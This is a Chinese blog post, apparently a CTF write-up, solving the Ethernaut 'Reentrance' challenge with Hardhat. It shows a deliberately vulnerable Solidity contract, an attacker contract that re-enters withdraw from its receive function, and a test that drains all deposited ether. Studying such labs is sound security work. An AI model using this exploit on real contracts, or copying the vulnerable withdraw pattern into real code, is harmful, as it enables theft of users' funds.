开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = msg.sender.call.value(_amount)("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
这道题就是典型的重入攻击(简单来说就是攻击合约利用自己的回调函数对被攻击合约实现循环调用),解题思路就是创建一个攻击合约,重写receive
函数(在receive
函数里面继续调用withdraw
)。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract AttackReentrance {
address payable target;
address payable public owner;
uint256 amount = 1 ether;
constructor(address payable _target) public payable {
target = _target;
owner = msg.sender;
}
function donate() public payable {
(bool success, ) = target.call.value(amount)(
abi.encodeWithSignature("donate(address)", address(this))
);
require(success, "donate fail");
}
function attack() public payable {
(bool success, ) = target.call(
abi.encodeWithSignature("withdraw(uint256)", amount)
);
require(success, "attack fail");
}
receive() external payable {
(bool success, ) = target.call(
abi.encodeWithSignature("withdraw(uint256)", amount)
);
require(success, "receive error");
}
}
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
describe("test", function () {
var Reentrance;
var AttackReentrance;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const ReentranceInstance = await ethers.getContractFactory("Reentrance");
Reentrance = await ReentranceInstance.deploy();
const AttackReentranceInstance = await ethers.getContractFactory("AttackReentrance");
AttackReentrance = await AttackReentranceInstance.connect(users[0]).deploy(Reentrance.address, {
value: parseEther("1"),
});
});
it("user donate test", async function () {
for (let index = 1; index < 10; index++) {
await Reentrance.connect(users[index]).donate(users[index].address, {
value: parseEther("10"),
});
}
const balance = await ethers.provider.getBalance(Reentrance.address);
expect(balance).to.equal(parseEther("90"));
});
it("hack test", async function () {
await AttackReentrance.connect(users[0]).donate();
const attackBalance = await Reentrance.balances(AttackReentrance.address);
expect(attackBalance).to.equal(parseEther("1"));
await AttackReentrance.connect(users[0]).attack();
const balance1 = await ethers.provider.getBalance(Reentrance.address);
const balance2 = await ethers.provider.getBalance(AttackReentrance.address);
expect(balance1).to.equal(0);
expect(balance2).to.equal(parseEther("91"));
});
});
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!